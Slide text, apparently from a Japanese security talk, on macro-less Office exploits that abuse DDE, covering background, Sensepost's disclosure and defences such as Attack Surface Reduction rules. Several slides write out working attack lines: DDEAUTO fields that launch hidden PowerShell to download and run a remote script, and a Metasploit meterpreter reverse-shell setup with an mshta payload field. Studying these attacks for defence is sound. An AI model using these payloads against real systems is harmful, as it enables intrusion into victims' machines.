DDEを悪用する Macroless Office Document Exploits
- 2. DDEとは？ •“Dynamic Data Exchange” •1987年からあるIPC⼿法の１つ (Win 2.0+、OS/2) •例：3rdパーティソフトが.xlsデータにアクセス •OLEがDDEに取って代わる •互換性のために残されている（T_T) •ターゲット→MS Officeドキュメント、その他？： Word, Excel, Powerpoint, Access, Outlook, OneNote
- 4. Macro不要のOffice攻撃 •2016/05/20 Sensepost : DDE経由で.xlsからコマンド実⾏ https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ •2017/10/09 Sensepost : DDE経由で.docからコマンド実⾏ https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
- 7. Macro不要のOffice攻撃 • 「!式の終わりが正しくありません。」を 右クリック フィールドコードの表示/非表示をクリック • {DDEAUTO c:windowssystem32 cmd.exe "/k calc.exe" } を⼊⼒して保存
- 10. Macro不要のOffice攻撃 { DDEAUTO c:WindowsSystem32cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient). DownloadString('http://evilserver.ninja/pp.ps1'); powershell -e $e "}
- 12. Macro不要のOffice攻撃 Sensepostはマイクロソフトに Responsible Disclosureしたが、 「これは脆弱性ではなく、仕様です」って ⾔われたから詳細をブログにアップ
- 14. 巧妙な騙し⽅
- 16. 対策
- 17. 対策 •MacかLinuxを利用
- 23. 防御 (Office*) •Attack Surface Reduction (ASR)を利用（おすすめ！） ※Windows 10のWindows Defender Exploit Guard、EMET5+ https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/windows-defender-exploit-guard •Email/Webmailの実⾏ファイルをブロック •オフィスアプリは⼦プロセスを起動できない (今回のOutlook攻撃等は防げない） •オフィスアプリは実⾏ファイルを作成できない •オフィスアプリは別プロセスにコードインジェクションできない •JSとVBScriptから実⾏ファイルをダウンロードできない •難読化されたスクリプトを実⾏できない •オフィスマクロからWin32 APIを呼び出せない
- 24. MetasploitでDDE攻撃 •wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/ fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb •mv dde_delivery.rb /usr/share/metasploit-framework/modules/exploits/windows/ •msfconsole •use exploit/windows/dde_delivery •set SRVHOST 192.168.177.141 •set PAYLOAD windows/meterpreter/reverse_tcp •set LHOST 192.168.177.141 •set LPORT 6708 •exploit •{DDEAUTO C:ProgramsMicrosoftOfficeMSword.exe........windows system32mshta.exe “http://192.168.177.141:8080/mVg3YDU3gVQ”}を.docに⼊れて送る •リンク：https://gbhackers.com/exploiting-windows-dde-exploit/ （悪用禁⽌！）
- 28. ご清聴有難う御座います